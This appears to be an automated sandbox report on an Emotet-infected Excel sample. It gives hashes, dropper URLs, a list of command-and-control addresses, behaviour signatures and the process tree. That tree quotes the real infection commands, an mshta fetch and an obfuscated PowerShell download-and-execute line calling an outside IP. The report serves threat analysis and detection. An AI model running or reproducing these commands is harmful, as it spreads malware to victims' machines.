emotet | dc7984cf443cc03a5725ca28a52a3a41e6d3e7472cd5bf25c95e6bd465579557

Analysis

max time kernel
121s
max time network
152s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 18:35

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General

Target
tmp1aiyhg4f.xls
Size 154KB
Sample220127-w8la4ahacl
SHA256 dc7984cf443cc03a5725ca28a52a3a41e6d3e7472cd5bf25c95e6bd465579557
MD5 e189a4e4bde124821fae84f266436fd2
SHA1 7daf162009ae3a5b530e021d8c2a391b6d5016cf
SHA512 5f531b9f63620d8767beaffd5f5973858dc62b12372b4c0a528a8e0b0fd68246fe569fbd4135b75e0990bb7be8116368dd03bf35343fa294763357504b844ca3
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2156	2784	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 7 IoCs

flow	pid	Process
23	2120	mshta.exe
24	1660	powershell.exe
26	1660	powershell.exe
28	1660	powershell.exe
29	1660	powershell.exe
51	3628	rundll32.exe
52	3628	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
608	rundll32.exe
852	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Cmfzbmaxuvyleolb\spryhztzdi.ihc	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1492	2120	WerFault.exe	71

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2784	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1660	powershell.exe
1660	powershell.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1660	powershell.exe
3628	rundll32.exe
3628	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	1492	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE
2784	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 2156	2784	EXCEL.EXE	69
PID 2784 wrote to memory of 2156	2784	EXCEL.EXE	69
PID 2156 wrote to memory of 2120	2156	cmd.exe	71
PID 2156 wrote to memory of 2120	2156	cmd.exe	71
PID 2120 wrote to memory of 1660	2120	mshta.exe	73
PID 2120 wrote to memory of 1660	2120	mshta.exe	73
PID 1660 wrote to memory of 1132	1660	powershell.exe	77
PID 1660 wrote to memory of 1132	1660	powershell.exe	77
PID 1132 wrote to memory of 608	1132	cmd.exe	78
PID 1132 wrote to memory of 608	1132	cmd.exe	78
PID 1132 wrote to memory of 608	1132	cmd.exe	78
PID 608 wrote to memory of 852	608	rundll32.exe	79
PID 608 wrote to memory of 852	608	rundll32.exe	79
PID 608 wrote to memory of 852	608	rundll32.exe	79
PID 852 wrote to memory of 3132	852	rundll32.exe	81
PID 852 wrote to memory of 3132	852	rundll32.exe	81
PID 852 wrote to memory of 3132	852	rundll32.exe	81
PID 3132 wrote to memory of 3628	3132	rundll32.exe	82
PID 3132 wrote to memory of 3628	3132	rundll32.exe	82
PID 3132 wrote to memory of 3628	3132	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp1aiyhg4f.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qqqw/aaas/se.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1660
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1132
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:608
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:852
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cmfzbmaxuvyleolb\spryhztzdi.ihc",dJmjMlyNR
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3132
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cmfzbmaxuvyleolb\spryhztzdi.ihc",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3628
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2120 -s 1660
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/608-588-0x0000000004BD0000-0x0000000004BF7000-memory.dmp

Download

memory/852-603-0x00000000048C0000-0x00000000048E7000-memory.dmp

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memory/852-611-0x0000000004A90000-0x0000000004AB7000-memory.dmp

Download

memory/852-598-0x0000000004860000-0x0000000004887000-memory.dmp

Download

memory/852-595-0x0000000001020000-0x0000000001047000-memory.dmp

Download

memory/852-593-0x0000000000F40000-0x0000000000F67000-memory.dmp

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memory/852-591-0x0000000000C40000-0x0000000000C67000-memory.dmp

Download

memory/1660-273-0x0000018661150000-0x0000018661172000-memory.dmp

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memory/1660-334-0x00000186616F0000-0x0000018661766000-memory.dmp

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memory/1660-422-0x00000186611D6000-0x00000186611D8000-memory.dmp

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memory/1660-311-0x00000186613E0000-0x000001866141C000-memory.dmp

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memory/1660-272-0x00000186611D3000-0x00000186611D5000-memory.dmp

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memory/1660-271-0x00000186611D0000-0x00000186611D2000-memory.dmp

Download

memory/2784-132-0x00007FFD76670000-0x00007FFD76680000-memory.dmp

Download

memory/2784-131-0x00007FFD76670000-0x00007FFD76680000-memory.dmp

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memory/2784-120-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

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memory/2784-121-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

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memory/2784-122-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

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memory/2784-118-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

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memory/2784-658-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

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memory/2784-119-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

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memory/2784-657-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

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memory/2784-656-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

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memory/2784-655-0x00007FFD79DC0000-0x00007FFD79DD0000-memory.dmp

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memory/3132-610-0x0000000004960000-0x0000000004987000-memory.dmp

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memory/3628-616-0x00000000045F0000-0x0000000004617000-memory.dmp

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memory/3628-613-0x0000000000B10000-0x0000000000B37000-memory.dmp

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